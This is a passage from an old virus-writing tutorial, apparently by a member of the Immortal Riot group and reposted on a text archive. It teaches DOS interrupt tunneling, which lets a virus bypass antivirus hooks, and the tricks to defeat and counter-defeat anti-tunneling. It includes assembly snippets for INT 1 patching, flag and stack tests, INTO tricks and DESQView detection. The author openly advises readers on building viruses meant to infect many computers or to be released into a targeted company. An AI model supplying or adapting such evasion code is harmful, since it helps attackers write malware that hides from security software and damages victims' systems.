ÀÄÄÄÄÄÄÙ
Fairly reliable, but should be modified to handle IRET instructions hidden
inside instruction prefixes before you use code like this. Also, it might be
worthwhile to handle 'RETF 2' as well.

ÚÄÄÄÄÄÄ¿
³ Cons ³
ÀÄÄÄÄÄÄÙ
You have to be carefull what function number you use in case an interrupt
earlier in the chain has hooked that specific function and exits straight away
with a return value without ever chaining back to previous interrupts.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Section 4: Anti-Tunneling and Anti-Anti-Tunneling for single step mode
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
As there is matter, there is anti-matter, and as there is tunneling,
there is anti-tunneling, and as there is anti-tunneling, there is
anti-anti-tunneling. All the techniques presented below apply, for now, only
to single step tunneling. You can use the anti-tunneling methods in your
viruses to keep AV tunnelers away, but remember that you are subject to the
rules of anti-anti-tunneling too.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Detection with the FLAGS test ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
The easiest way to check for a single step tunneler is by looking into
the flags register for a set TF. The routine below will set the CF if a
tunneler is present, and clear the CF if a tunneler is not present.

check_for_tunneler proc near
clc ; set to no tunneler by default
pushf
pop ax
and ah, 1 ; clear all bits except for TF
jz no_tunneler ; if TF is clear, no tunneler is present
stc ; set CF because tunneler is in memory
no_tunneler:
ret ; return to calling code
check_for_tunneler endp

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Fooling the FLAGS test ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
In flags testing, whoever is tunneling has the upper hand, as they can
check the currently executing opcode for PUSHF/POPF and modify the results of
these instructions. For example, to stop someone from seeing the TF set, you
simply check if the last instruction executed was a PUSHF, and if so, you do an
(AND byte ptr [ss:bp+8], 011111110b) which turns off the TF in the copy of the
flags they have on the stack. Then, to stop someone from disabling single step
mode by PUSHF'ing the flags register back onto the stack, you simply check for
a PUSHF as the current instruction, and if it is there, do an (OR byte ptr
[ss:bp+8], 1), turning the TF back on in the copy of the flags on the stack.

The problem with chaging the flags on PUSHF in this way is that you may
have just jumped to an address where, just below it, there is a PUSHF that
wasn't executed! By modifying the stack in this scenario, you could very
well cause a system crash. Instead of checking if the last instruction was a
PUSHF, you can instead check if the current instruction is a PUSHF and set a
flag in your INT 1 handler. On each entry to the handler, you can then check
if the PUSHF flag is set, and if so, you clear it and modify the stack as
before.

Finally, even if you have made any flags test totally futile, you must add
in code to make sure YOUR code can disable single step mode with a POPF! You
can do this by simply checking your current CS: against the CS: of the
currently executing instruction, on entry to the interrupt handler, and if
there is a match, simply exit without checking for any opcodes, etc.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Confusing OPCODE CHECKs ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
I mentioned earlier on that the OPCODE CHECK method of tunneling was
easily confused by a good anti-tunneling routine. Although the bit of code
I'll show you won't work against the other single step tunneling methods, it
will work VERY well against the OPCODE CHECK method (which is, like I said,
in wide use). Since the OPCODE CHECK method copies down the last
intersegment jump as the original interrupt entrypoint, we simply make a few
fake jumps.

Do this in the setup of your code:
mov [fake_jump_address], offset fake_jump_here
mov [fake_jump_address+2], cs
And do this to call the proper interrupt routine you're hooked to:
pushf
call far ptr [original_interrupt]
; Executes proper interrupt
call far ptr [fake_jump_address]
; Make a fake call, destroying tunnelers
retf 2 ; Exit
fake_jump_address:
retf

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ De-confusing OPCODE CHECKs ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Confusing OPCODE CHECKs can be done in many other ways on top of the one
just described, and as such you shouldn't REALLY be using an OPCODE CHECK
method anyway, since the CS:LIST method is much more stable :> Anyway,
defending yourself against this specific peice of code needs you to check if
you are doing an intersegment jump to the same code segment. If so, just
ignore it and don't save the CS:IP value. Alternatively, if you were really
picky you could modify your handler so as to save the address of a jump/call
ONLY if it is below the last value saved.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Removal with code swapping ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
A smart anti-tunneling routine will not rely on the flags to test for
single step handlers. Instead, a smart anti-tunneling routine ALWAYS starts
off in red alert mode, and only does detective work after trying to disable INT
1, just in case. A common way to do this, is shown in the code snippet below:
xor ax, ax
mov ds, ax
lds si, [4] ; DS:SI points to start of INT 1
les di, [4] ; ES:DI " "
mov ah, 0cfh
lodsb ; load first byte into AL
xchg ah, al
stosb ; store IRET as first byte of INT 1
... (flag tests etc go here) ...
dec di
xchg ah, al
stosb ; restore original byte of INT 1

By putting an IRET as the first byte of INT 1, the routine of INT 1 is
totally bypassed allowing you to do all the flags tests, etc you want, without
being hampered by anti-anti-tunneling code. However, in THIS specific example
(there are many many ways of putting an IRET into INT 1) you must not modify
AX, ES or DI, as they're needed when you replace the first byte of INT 1 on
exit from your interrupt handler.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Fooling code swapping ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
In times such as this, things start to get complicated inside our
tunneling routines. Even though we can check each opcode before it is
executed, it isn't much help in this case as there are so many different ways
of putting a byte into our INT 1 handler. The only GENERIC way to defeat
this method, is by checking for MOVS's and then seeing if a byte is being
MOVS'd into our code segment, skipping the instruction (by modifying the
return IP pointer in the stack). However, then you have to begin checking
for STOS instructions too, etc. This, well, lets just say it could be done
if you really tried hard, but they could use another idea like just
completely installing another INT 1 handler over yours, or putting a byte
into your INT 1 handler in an awkward way.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Detection with the STACK test ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Finally, we come along to the mother of all anti-tunneling tests, the
stack test. This is the test where no single step tunneler ever comes out
alive, and in a minute you will see why. And you thought fooling code
swapping sounded hard! Have a peek at the code below:
xor ax, ax
push ax
mov bp, sp
pop ax
cmp [ss:bp-2], ax
je no_tunnel
...

In case it isn't clear to you, this is what happens. Remember when we
POP values from the stack, the values are normally still there, just 2 bytes
below the SP (because to POP a value the CPU simply copies the SS:SP value to
where it is wanted and increments SP by two). So, under normal CPU
execution, the values we POP off of the stack are still there, totally
intact, which is what the above routine checked for.

However, when we go into single stepping mode, before every instruction
is executed, an INT 1 is called, overwriting old stack values with the FLAGS,
CS, and IP registers! So after the routine POP's its value back into AX,
right away the old stack data is corrupted as our INT 1 is called.

This is the bane of all single step tunnelers. You cannot even begin to
imagine the complexity of an INT 1 handler that has to check for every one of
the hundreds of ways of pushing and popping values from the stack. It is just
way too complex, and coupled with the other tests I've shown you above, your
once simple tunneling routine has turned into a huge fat bloated sack of
spaghetti code! Luckily for you, we're not going to be bothered writing such
a routine. I myself, at this point in time, don't even want to THINK about
writing something so big when later on in our document series we'll have to
rewrite the entire thing anyway.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Detection with INT(O) ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Here's a sick little test you'll want to check out for! Remember when I
told you how the INT instruction works, with clearing the TF? Well, look at
this code here :)
xor ax, ax
mov ds, ax
push [(4*4)]
push [(4*4)+2]
mov [(4*4)], offset my_handler
mov [(4*4)+2], cs
pushf
pop ax
or ax, 0bh
push ax
popf
into
my_handler:
mov bp, sp
pop ax
pop ax
pop ax

In this example, at the end of the code (which is 286+ code only mind
you), AX will hold the REAL flags value, and the TF will be turned off in the
current flags, no matter how much you fiddle with the flags. Why? Well, the
INTO instruction executes an INT 4 if the flags register has the overflow
set, which we did by directly modifying the flags. Before then, we set the
INTO (INT 4) to ourselves via the IVT, and so, the INTO pushes the flags, CS,
and IP, onto the stack. At the point of my_handler, the TF has been cleared
due to the INT instruction, and the pop ax's end up with the value the flags
are set to on return, which has the TF set :) Using this routine or
something similar (like INT 3 or INT xx) needs you to save the original IVT
value of the interrupt so you can restore it later, else the computer might
well crash should a real instance of this interrupt be called.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Avoiding the INT(O) pitfall ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
How do we avoid this? Simply check for the INT, INTO, and INT 3 opcodes
in your handler, and if they are present, emulate the interrupt by pushing
the flags (with TF clear), CS, and IP, onto the stack, and also check for the
IRET instruction, at which time you make sure the TF is set :) Make sure you
code this right, so when you push the flags, CS, and IP onto the stack, there
is no other information on the stack such as the flags, CS and IP that were
pushed as INT 1 was executed. Do this by popping all those values off the
stack into temporary variables, pushing all your other stuff on, and then
putting back your INT 1 flags, CS, and IP values, and finally exiting your
INT 1 handler. I'm sure you'll work it out.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Anti-Anti-Anti Tunneling ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Okay, this is starting to get a bit out of hand, but it's the last thing
we need to talk about :) Remember when I mentioned that segment overrides
were taken as part of the current instruction? Well, segment overrides
aren't the only types of instruction prefix available, as there is also REP,
REPE, and a few others. Why am I mentioning this? Well, imagine writing
your ulta-leet anti-pushf/popf code into one of your interrupt routines, and
an AV happens to come up with a small anti-tunneling section of code looking
like this:
pushf
cs:popf

ARGH! All your precious hard work flushes down the toilet bowl as your
interrupt handler doesn't recognize the POPF instruction hiding behind the
instruction prefix! You have been disabled by the very code that turns off
the TF when it see's a PUSHF! So, now what can you do? Luckily, the answer
to this is simple. Siphon off all the instruction prefixes in a loop before
you start checking for opcodes. Simple.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Section 5: Is single step mode still usefull?
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
By now, you may be wondering why anyone would want to use single mode now
that there are so many ways to defeat it, and rightly so. However, you must
look at the bigger picture of computer users and AV software. For starters,
most computers these days use some form of virus protection, ranging from old
behaviour blockers written in 1989 to the really good AV software which is up
to date and has behaviour blockers built in. However, the usage of old
software, and new software without anti-tunnel capabilities far outweighs the
current level of AV software used that DOES provide anti-tunneling, and as
such the choice is clear. If you are planning for your virus to infect lots
of computers around the world, then it is much better using some tunneling
method than none at all, as the pros far outweigh the cons. However, if
you're planning for a controlled release into say, a major company, it would
be best to do a bit of detective work to see if their computers are running
appropriate AV software before including a single step mode tunneling module
in your virus.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Section 6: Conclusion
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Which single step tunneling method you'll use in your viruses is up to you,
however the main things that will base your decision upon are:
- the space requirements of your virus with the various tunneling routines
- levels of compatability required in your virus
- the types of computers you're planning to infect
- the individual pros and cons of each routine

There is also another thing that needs mentioning, each and every routine I
have presented to you only returns to you the value it BELIEVES is the original
interrupt entrypoint. Of course, all of these tunnelers can get confused and
return an incorrect value, and using that value in your code without first
doing some sort of error checking would be disasterous! However, as yet I do
now know a failsafe way of doing this.

Also, DESQView (a dos multitasking program) does NOT like programs trying
to tunnel the interrupts when they are not the only programs running. This
is probably because half way through your tunnel DESQView swaps a different
program into memory to be executed and doesn't properly handle the TF. So
suddenly, where your INT 1 handler once was, it is no more and the tunneling
goes haywire totally crashing the computer. >sigh< I guess you're just
going to have to start adding DESQView aware code:
mov ax, 02b01h
mov cx, 'DE'
mov dx, 'SQ'
int 021h
cmp al, -1
je no_desqview
jmp run_from_desqview ; This should work with all versions
; of DESQView :)

To round off this whole document, you should look at the example program
included. It is just a quick something I whipped up to demonstrate how to
put everything you've learnt so far together into a working program. It's
not a virus :) It just tells you what the end result is of each tunneling
module, so that you can compare performance. No anti-anti-tunneling code is
included in it, because I can't be bothered after writing so much, but it is
DESQView/DOS version aware :) It can be assembled into a .COM file with A86.

So now you have finally shrugged off your previously innocent disguise as
amoeba and progressed to the status level of marsupial, which is a BIG step!
However, there is a long road left to travel in regards to tunneling methods
before you reach the status level of tunneling god, so I suggest you grab the
next document in this series. What's it about? Well, it's about tunneling
via code scanning, which is somewhat like the OPCODE CHECK/CS:LIST methods,
but without using INT 1 and without being able to be detected. Think about
the implications of that for a little while :)

Anyway, I hope you enjoyed reading this document as much as I got pissed
off while writing it and debugging all the little sections of code :) Yer,
this one was a real fucker!

Methyl [Immortal Riot/Genesis]

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT